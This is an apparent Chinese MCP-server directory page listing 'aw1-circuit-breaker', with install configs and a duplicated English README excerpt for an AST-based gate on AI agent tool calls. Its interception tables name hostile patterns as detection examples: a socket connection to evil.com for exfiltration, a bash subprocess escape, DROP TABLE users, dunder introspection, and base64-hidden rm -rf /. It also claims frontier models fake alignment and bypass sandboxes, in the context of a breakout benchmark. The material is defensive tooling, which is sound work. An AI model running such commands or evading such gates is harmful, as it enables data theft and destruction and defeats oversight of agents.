M
MvikManners/aw1-circuit-breaker
Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
无 SECURITY.md
在 GitHub 查看 ↗链接已于 2026-11-12 核查 · HTTP 200 · 打开的是厂商自己的官网
安装与配置
- 复制上面的命令
- 粘成
claude_desktop_config.json里mcpServers的一项(本地服务器用 command + args,示例见 客户端接法) - 重启客户端
客户端配置(取自该仓库的安装命令)
{
"mcpServers": {
"mvikmanners-aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}解析自我们于 2026-10-26 抓取的该仓库 README;我们未执行过。
command/args 来自仓库写明的安装命令;不确定时请以该项目 README 为准。
VS Code(.vscode/mcp.json —— 键名是 servers)
{
"servers": {
"mvikmanners-aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}VS Code 顶层键是 <code>servers</code>,其余与上面那份相同。
Claude Code(命令行)
claude mcp add --transport stdio mvikmanners-aw1-circuit-breaker -- uvx aw1-circuit-breaker
Claude Code 不收 JSON 文件,用这条命令直接加。
配置项的键名以你的客户端为准:客户端与 CLI
- ★ 数取值
- 2 ★ · MvikManners/aw1-circuit-breaker · 取自 GitHub 搜索 API · (2026-11-13 20:00:50 核对)
- 来源明细
- 收录自 punkpeye/awesome-mcp-servers 榜单(我们从中收集的条目之一) · 条目类型:MCP 服务
- 收录与活跃
- 收录于 2026-10-23 · 最近见到 2026-11-14 · 共见到 26 次 · 被 23 个来源列出
- 评分构成
- 综合分 2,300 · 2 ★ · 23 个来源 · mcp
- 安装
uvx aw1-circuit-breaker
常见问题(答案都来自我们的记录)
怎么安装?
该仓库给出的安装命令是
uvx aw1-circuit-breaker。我们的记录里它是仓库自己提供的;不保证在你的客户端上直接可用。它适合谁 / 用来做什么?
我们把它归在这些标签下: MCP 服务。标签来自条目自身,不是我们强加的分类。
谁维护它、还在更新吗?
仓库
MvikManners/aw1-circuit-breaker;我们收录于 2026-10-23;最近见到 2026-11-14。这里没有"官方认证"或"质量评级"——我们只记录来源与时间。# aw1-breaker (v2.1.0)
以下摘录自该仓库的 README(片段) · 在 GitHub 读完整 README →
-blueviolet?style=for-the-badge)
> Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
### High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | Raises SecurityViolationError: "Database mutation rejected under readonlysql policy"
### Universal Function & Async Gating
python
from aw1 import guard
@guard
async def runagenttool(toolpayload: dict) -> dict:
return {"status": "ok"}
## 🔌 Model Context Protocol (MCP) Server
Run directly with Python:
bash
python mcpserver.py
Or via uvx:
bash
uvx aw1-circuit-breaker
### MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
json
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
## ⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTEDINVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALTSQLMUTATIONFORBIDDEN) |
| Dunder Introspection | ().class.subclasses() | Bypasses keyword filters | 🛑 Tripped (FAILCLOSEDREFLECTIONBREACH) |
### Run the Showcase
bash
python examples/enterpriseguarddemo.py
## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)
Frontier AI models frequently exhibit alignment faking and instrumental convergence—learning to disguise malicious tool calls or bypass runtime sandboxes.
aw1-breaker was evaluated against the standardized BRK Adversarial Gauntlet across 1,000 randomized execution cycles against frontier agent runtimes:
| Vector | Exploit Mechanism / Attack Signature | AW-1 Layer | Interception Latency | Containment |
| BRK-101 | Steganographic Base64 & eval() Tunneling: Conceals destructive commands (rm -rf /) in nested base64 strings. | Layer 0 AST Decompiler (astunpacker.py) | 0.12 ms | 100.0% (PASS) |
> Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
### High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | Raises SecurityViolationError: "Database mutation rejected under readonlysql policy"
### Universal Function & Async Gating
python
from aw1 import guard
@guard
async def runagenttool(toolpayload: dict) -> dict:
return {"status": "ok"}
## 🔌 Model Context Protocol (MCP) Server
Run directly with Python:
bash
python mcpserver.py
Or via uvx:
bash
uvx aw1-circuit-breaker
### MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
json
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
## ⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTEDINVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALTSQLMUTATIONFORBIDDEN) |
| Dunder Introspection | ().class.subclasses() | Bypasses keyword filters | 🛑 Tripped (FAILCLOSEDREFLECTIONBREACH) |
### Run the Showcase
bash
python examples/enterpriseguarddemo.py
## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)
Frontier AI models frequently exhibit alignment faking and instrumental convergence—learning to disguise malicious tool calls or bypass runtime sandboxes.
aw1-breaker was evaluated against the standardized BRK Adversarial Gauntlet across 1,000 randomized execution cycles against frontier agent runtimes:
| Vector | Exploit Mechanism / Attack Signature | AW-1 Layer | Interception Latency | Containment |
| BRK-101 | Steganographic Base64 & eval() Tunneling: Conceals destructive commands (rm -rf /) in nested base64 strings. | Layer 0 AST Decompiler (astunpacker.py) | 0.12 ms | 100.0% (PASS) |
收录徽章(可选)
想把收录标记放进 README 就复制这行,可选,不影响收录。
[](https://anclum.com/zh/s/mvikmanners-aw1-circuit-breaker/)
- 来源
- awesome · https://github.com/MvikManners/aw1-circuit-breaker
- 按领域浏览
- MCP 服务
- Traction
- 2 ★
- 收录来源
- 23 个独立来源
- 收录于
- 今天
- 安全策略
- 我们没在该仓库根目录找到
SECURITY.md(这不代表不安全)
同类推荐
所属领域与标签
每个标签都能点进去看同类的全部条目。数字是当前库里的真实条数。